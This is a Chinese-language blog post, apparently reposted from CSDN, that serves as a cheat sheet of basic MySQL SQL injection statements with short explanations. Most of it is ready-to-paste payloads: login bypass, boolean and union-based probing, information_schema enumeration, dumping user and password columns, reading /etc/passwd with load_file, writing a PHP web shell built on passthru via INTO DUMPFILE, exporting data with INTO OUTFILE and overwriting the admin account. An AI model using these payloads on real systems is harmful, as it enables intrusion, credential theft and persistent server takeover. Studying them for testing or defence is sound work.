SQL注入基础语句大全

尽管语句很多,但是上手操作才是硬道理,话不多说直接进行SQL注入基础介绍。

原理:服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器。

一:

用户登陆判断语句:

    SELECT * FROM users WHERE user='uname' AND password='pass' 
    SELECT * FROM users WHERE user='name' AND password='' OR ''=''

基于报错的检测方法(low)——>能注入就不会报错

' " %  ( )

基于布尔的检测

1' and '1'='1  
1' and '1 
1' and '1'='2  
1' and '0

#类似:select first_name,surname from users where id=' '(单引号中是:1' and '1'='1  将两个单引号再次闭合。意思是,id=1是真后面也是真,这是构造逻辑与运算;逻辑或运算?)

检测表列数/显示信息位于哪一列

' order by 9--+ 

#按查询序列号排序(注释符:--)select *时表字段数=查询字段数

联合查询:

' union select 1,2--+ 
' union all select database(),2--+

#单引号用于闭合

二:

联合查询内容列举:

 ' union select database(),substring_index(USER(),"@",1)-- 

DB用户:user()
DB版本:version()
(' union select user(),version()-- )
全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os
(' union select user(),@@datadir-- 等等)
当前库:database()
(' union select user(),database()-- )
ASCII转字符:char()
(' union select user(),char(55)--+ 把数值输入里面,ASCII码注入)
连接字符串(联合查询):CONCAT_WS(CHAR(32,58,32),user(),database(),version()) 
(' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--+)
计算哈希:md5()
(' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),md5('a')--+)

三:

Mysql数据结构简介:
information_schema——>源数据库,数据库结构的管理者。(每个结构存储数据)
(包含数据库管理系统内的所有信息,不是数据,是本身信息;包含字段、表、有多少表等等)


搜友库所有表/统计每库中表的数量:

' union select table_name,table_schema from information_schema.tables--+ 
' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema -- 

数据库中的表名

' union select table_name,table_schema from information_schema.tables where 	table_schema='数据库'--+ 

Users表中的所有列(user_id、first_name、last_name、user、password、avatar)

' union select table_name,column_name from information_schema.columns where table_schema='数据库' and table_name='users'--+ 

查询user、password列的内容

' union select user,password from 数据库.users--+ 
' union select user,password from users--+ 
' union select null, concat(user,0x3a,password) from users--+

读取文件

' union SELECT null, load_file('/etc/passwd')--+ 

#命令读取本地数据库文件

写入文件

 ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/ 							www/a.php" --+ 

#直接写写不进去

保存下载数据库

' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/ 	tmp/a.db'-

猜列名

' and column is null--+

猜当前表表名

' and table.user is null--+

猜库里其它表

' and (select count(*) from table)>0--+

列表对应关系

' and users.user is null--+ 

猜字段内容

' or user='admin (输入完全正确的字段猜解)
' or user like ' %a%  (大概的字段,只要有a的都查)

猜账号对应密码

' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
#密码需要进行加密处理

#(猜解类似于暴力破解密码,猜解区别就是需要有webapplication输入字符有返回错误提示信息,可用fuzz功能)

当数据库可写(因无法破解所知账号的md5密码,但是数据库中的表可以写入,那么写入一个账号+md5密码)

'; update users set user='jerome' where user='admin

......

实际上还有很多作用的SQL语句,实在是写不下去了,太多太多,网上也有很多,如果我仅仅复制下来那也阻碍了大家自己的发现,说全面也不太可能,每个语句都是被发现写出来的,如果说介绍完全部注入语句,那几天几夜我也写不完,语句都是被写出来的,清楚原理,掌握知识我们就能自己写出适合使用的语句,基础语句仅仅只是带着入门。

猜你喜欢

转载自blog.csdn.net/Jack0610/article/details/88056137